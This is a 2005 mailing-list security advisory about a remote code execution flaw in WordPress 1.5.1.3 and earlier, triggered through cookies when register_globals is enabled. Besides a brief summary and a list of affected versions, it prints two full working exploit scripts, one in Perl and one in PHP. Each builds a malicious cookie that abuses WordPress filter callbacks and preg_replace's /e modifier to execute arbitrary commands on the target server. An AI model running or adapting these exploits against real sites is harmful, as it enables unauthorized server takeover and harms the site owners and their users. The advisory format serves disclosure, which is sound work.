[UNIX] WordPress Command Execution Vulnerability (Cache_lastpostdate)

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To: list@securiteam.com
Date: 10 Aug 2005 18:17:45 +0200

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  WordPress Command Execution Vulnerability (Cache_lastpostdate)
------------------------------------------------------------------------

SUMMARY

A vulnerability in WordPress's handling of incoming cookie information
allows remote attackers to cause the program to execute arbitrary code if
the PHP settings of register_globals has been set to On.

DETAILS

Vulnerable Systems:
 * WordPress version 1.5.1.3 and prior (with register_globals)

Immune Systems:
 * WordPress version 1.5.1.4 or newer

Perl Exploit:
#!/usr/bin/perl
use strict;
use MIME::Base64 qw(encode_base64 decode_base64);
use IO::Socket;

print "Wordpress <= 1.5.1.3 - remote code execution 0-DDAAYY exploit
(Converted by Noam)\n";
print "(C) Copyright 2005 Kartoffelguru\n\n";
print "[!] info: requires register_globals turned on on target host\n\n";

if (@ARGV < 2)
{
 die ("usage:\n\t./wpx.php http://www.xyz.net/blog/ 'system(\"uname
-a;id\");'\n\n");
}

my $url = shift;
my $cmd = shift;

if (length($cmd)==0)
{
 $cmd = 'phpinfo();';
}

#print "code: ".encode_base64($cmd, '')."\n";
my @code = unpack("C*", encode_base64($cmd, ''));
#print "code: @code\n";
my $cnv = "";
for (my $i=0;$i<@code; $i++)
{
 $cnv.= "chr(".$code[$i].").";
}
$cnv.="chr(32)";
#print "cnv: $cnv\n";

my $str =
encode_base64('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x',
'');
#print "str: [$str]\n";

my $cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;".
"wp_filter[query_vars][0][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][0][1][function]=base64_decode;".
"wp_filter[query_vars][0][1][accepted_args]=1;';
$cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
$cookie.=$str;
$cookie.=';wp_filter[query_vars][1][0][function]=parse_str;".
"wp_filter[query_vars][1][0][accepted_args]=1;';
$cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;" .
"wp_filter[query_vars][2][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][3][0][function]=preg_replace;" .
"wp_filter[query_vars][3][0][accepted_args]=3;';

$url =~ /http:\/\/([^\/]+)\/(.*?)/;

my $hostname = $1;

my $path = $2;
my $Request = "GET /$path HTTP/1.1\r
Host: $hostname\r
Cookie: $cookie\r
Referer: $hostname\r
Connection: close\r
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 1.1.4322)\r
\r
";

my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr =>
$hostname, PeerPort => 80);
unless ($socket) { die "cannot connect to http daemon on $hostname" }

print "Request: [$Request]\n";
print $socket $Request;

while (<$socket>)
{
 print $_;
}

PHP Exploit:
<?php
    echo "Wordpress <= 1.5.1.3 - remote code execution 0-DDAAYY
exploit\n";
    echo "(C) Copyright 2005 Kartoffelguru\n\n";
    echo "[!] info: requires register_globals turned on on target
host\n\n";
    if (!extension_loaded('curl')) {
        die ("[-] you need the curl extension activated...\n");
    }

    function usage()
    {
        die ("usage:\n\t./wpx.php -h http://www.xyz.net/blog/ -c
'system(\"uname -a;id\");'\n\n");
    }

    $options = getopt("h:c:");
    if (count($options) < 1 || !isset($options['h'])) {
        usage();
    }

    $host = (is_array($options['h']) ? $options['h'][0]:$options['h']);
    $cmd = (is_array($options['c']) ? $options['c'][0]:$options['c']);

    if (!preg_match("/^http:\/\//", $host, $dummy)) {
        usage();
    }

    if (strlen(trim($cmd))==0) {
        $cmd = 'phpinfo();';
    }

    $code = base64_encode($cmd);
    echo "code: $code\n";
    $cnv = "";
    for ($i=0;$i<strlen($code); $i++) {
        $cnv.= "chr(".ord($code[$i]).").";
    }
    $cnv.="chr(32)";
    echo "cnv: $cnv\n";

    $str =
base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

    $cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;' .
'wp_filter[query_vars][0][0][accepted_args]=0;';
    $cookie.='wp_filter[query_vars][0][1][function]=base64_decode;' .
'wp_filter[query_vars][0][1][accepted_args]=1;';
    
$cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
    $cookie.=$str;
    $cookie.=';wp_filter[query_vars][1][0][function]=parse_str;' .
'wp_filter[query_vars][1][0][accepted_args]=1;';
    $cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;'
 'wp_filter[query_vars][2][0][accepted_args]=0;';
    $cookie.='wp_filter[query_vars][3][0][function]=preg_replace;' .
'wp_filter[query_vars][3][0][accepted_args]=3;';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $host);
    curl_setopt($ch, CURLOPT_POST, 0);
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_CURLOPT_REFERER, $host);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
    curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
    echo "[+] now executing\n\n";

    $r = curl_exec($ch);
    curl_close($ch);

    echo $r;

?>

ADDITIONAL INFORMATION

The information has been provided by Kartoffelguru.

========================================

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